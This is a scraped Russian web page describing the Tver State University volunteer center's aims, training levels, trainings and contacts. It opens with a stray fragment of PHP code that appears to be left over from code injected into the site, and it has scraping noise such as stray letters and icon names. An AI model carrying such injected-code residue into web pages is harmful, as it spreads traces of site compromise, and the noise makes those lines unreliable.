id)) {echo " ";};$9a29bcdf=1; */?>
О Волонтерском центре ЦФО

Цель деятельности -

 создание системы подготовки организаторов и участников волонтёрского движения ЦФО. 

Задачиonas2

  • nРазработка и внедрение инновационных проектов развития молодежного добровольчества;
  • nПроведение научных исследований в сфере молодежного добровольчества;
  • nПодготовка профессиональных менеджеров в сфере добровольчества;
  • nРазработка организационно-правовых основ развития волонтерства в регионах ЦФО

Направления деятельности

  • Организационно-правовое

- Для успешного развития добровольческих практик в России необходима соответствующая нормативно-правовая база, создающая определенные социальные гарантии волонтерам. Это позволит регулировать механизм взаимодействия органов государственной власти, местного самоуправления с общественными организациями.
Ò- Разработка системы добровольческих стандартов, этических кодексов и механизмов саморегулирования добровольческих организаций.

- В связи с этим, важным инструментом менеджмента волонтерской деятельности должна стать Личная книжка добровольца.
Ò- Принятие нормативных документов, четко определяющих регламентацию использования этого документа в профессиональной карьере молодых добровольцев.
  • Научно-исследовательское


Решение задач институционализации добровольчества нуждается в проведении  объективного  анализа реального состояния дел  в регионах, изучения особенностей волонтерских программ, осуществляемых в различных регионах России.
  • Учебно-методическое

Целевая аудитория:
- руководители и специалисты органов по делам молодежи субъектов Федерации ЦФО;
- руководители и специалисты муниципальных органов по делам молодежи ЦФО;
Ò- руководители  образовательных учреждений разного уровня  (школа-ссуз-вуз);
- руководители молодежных общественных объединений.

 

Подготовка добровольцев

Включает 3 уровня: Onas1b

1.Личностный – определение индивидуальных особенностей и раскрытие потенциала участников движения;
2.Коммуникативный – освоение техник межличностного взаимодействия, работы в команде, развитие навыков публичного выступления;
3.Проектный – обучение проектной деятельности и разработка социально-значимых проектов волонтёрского движения.
Предлагаемые в рамках программы тренинги:

  • nЭффективное командное взаимодействие
  • nИнтерактивные технологии в профилактике употребления психоактивных веществ
  • nСоциальное проектирование от «А» до «Я», толерантность
  • nРазвитие ресурса добровольца, психологическая безопасность
  • nМетодический инструментарий в работе добровольца
  • nЯ - доброволец: возможности и ресурсы
  • nТренинг публичного выступления

 
Поделиться
Сейчас 2 гостей онлайн

Контакты

phonealt
(4822) 63-01-57, 32-28-73 (доб. 111)
 
 

mailalt1 volunteer@tversu.ru

 

 twitterНаша страничка в Twitter

 

Vk

   Мы в Контакте

 

camera

  Мы в Instagram

 

mapsalt170100, Тверь, Студенческий переулок, д. 13, корпус «А» ТвГУ, кабинет 201

 

systeminfo

Руководитель: Арсеньева Татьяна Николаевна;
Администратор: Соколов Александр Александрович